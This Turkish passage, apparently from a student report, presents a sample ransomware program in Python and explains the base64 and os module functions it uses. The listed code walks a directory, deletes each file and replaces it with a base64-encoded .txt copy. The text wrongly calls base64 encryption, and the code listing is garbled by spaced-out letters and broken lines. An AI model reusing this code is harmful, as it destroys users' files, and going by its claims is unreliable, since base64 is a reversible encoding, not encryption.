**Örnek Uygulama**

Yapılan bu uygulama fidye yazılımlarına bir örnek olması amacı ile. Şifreleme

yapmak için Pytohn programlama dilinde base64 kütüphanesi kullanılmıştır.

Uygulama hedef bilgisayarda istenilen konumdaki dosyaları .txt formatına çevirip

daha sonra bu dosyaların içeriğini base64 algoritması ile şifrelemektedir.

Uygulama içerisindeki dosya işlemlerini yapmak için ise os modülü kullanılmıştır. Bu kütüphanenin walk fonksiyonu sayesinde uygulama çalışması istenen dizine yöneltilmiştir. Bu fonksiyon uygulamanın istediğimi dizinde çalışmasını

sağlamaktadır. İstenilen dizine ulaştıktan sonra os.path.splitext fonksiyonu ile o

konumda bulunan tüm dosyaları .txt formatına çevirme işlemi yapılmıştır. Daha

sonra ise bu çevrilen dosyaların içerikleri base64 algortiması ile şifrelenmiştir.

Kullanılan kütüphanelerin ve işlemlerin detaylı açıklamaları ise şu şekildedir.

**Base64 Kütüphanesi**

Base64 algoritması ASCII karakterleri kullanarak şifreleme yapan bir

algoritmadır. Adı sayısal olarak ifade edilebilen 64 karakter olmasından gelmektedir.

Bu karakterler 26 büyük harf, 26 küçük harf, 10 rakam, + ve / karakterleridir. Bu

karakterler ve ondalık karşılıkları şekilde belirtilmiştir.



Şifreleme işlemini yapmak için kütüphanenin b64encode fonksiyonu kullanılmıştır.

Base64 algoritmasının adımları şu şekildedir:

1. Şifrelenmesi istenen metindeki her karakterin ASCII tablosundaki karşılıkları

alınır.

2. Alınan bu verilerin 8 bitlik ikili sayı sistemindeki karşılıkları bulunur.

3. Bu 8 bitlik veriler 6’şar bitlik gruplara ayrılır.

4. Bu 6 bitlik veriler ondalık sayı sistemindeki sayılara dönüştürülür.

5. Son olarak ortaya çıkan bu verilerin ASCII tablosundaki karşılıkları alınır ve

şifrelenme tamamlanmış olur.

**Os (Operating System) Modülü**

İşletim sistemlerinin çalışma mantıı birbirlerinden farklıdır. Ancak tüm işletim

sistemlerinde çalışabilmeyi amaçlayan Python dilinde bu farklılıkları gidermek için

os modülü kullanılır. Os modülü ile işletim sistemi içerisinde dizinlere ve dosyalara

erişim sağlanabilmektedir. Bu uygulamada kullanılan os modülü fonksiyonları

şunlardır;

**os.walk():** Bu fonksiyon istenilen dizine gidilmesinin ve içerisindeki tüm alt

dizinlere erişilmesini sağlar.

**os.path.join():** Bu fonksiyon verilen dizinin farklı işletim sistemlerine uyun

hale getirilmesini sağlar.

**os.path.splitext():** Bu fonksiyon dosyanın adı ile uzantısının birbirinden

ayrılmasını sağlar. Uygulama içerisinde bu fonksiyonun 0. indeksini yani dosya adını

alıp .txt uzantısını ekleyerek dosyaların uzantısı değiştirilmiştir.

**Uygulama Kodları**

import base64

import os

l i s t e = [ ]

f i l e s = [ ]

f o r r , d , f a in os . walk ( ’ / Users / e r d i /Desktop/deneme / ’ ) :

f o r f i l e in f a :

f i l e s . append ( os . path . j o i n ( r , f i l e ) )

f o r f in f i l e s :

dosyaOkuma = open ( f , ’ rb ’ ) . read ( )

dosyaEncode = base64 . b64encode (dosyaOkuma ) .

decode ( ’UTF−8 ’)

os . remove ( f )

f=(os . path . s p l i t e x t ( f ) [ 0 ]+ ’ . txt ’ )

with open ( f , "w" ) as f i l e :

f i l e . wr i t e ( s t r ( dosyaEncode ) )

with open ( f , " r " ) as f a :

l i s t e = [ i f o r i in f a . r e a d l i n e s ( ) i f i

i s not None or l en ( s t r ( i ) . s t r i p ( ) ) > 0 ]

with open ( f , "w" ) as f a :

f o r x in l i s t e :

encoded = x . encode ( )

s i f r e l e y i c i = base64 . b64encode ( encoded )

mesaj = s i f r e l e y i c i . decode ( )

x = x . r e p l a c e (x , mesaj )

f a . wr i t e ( x )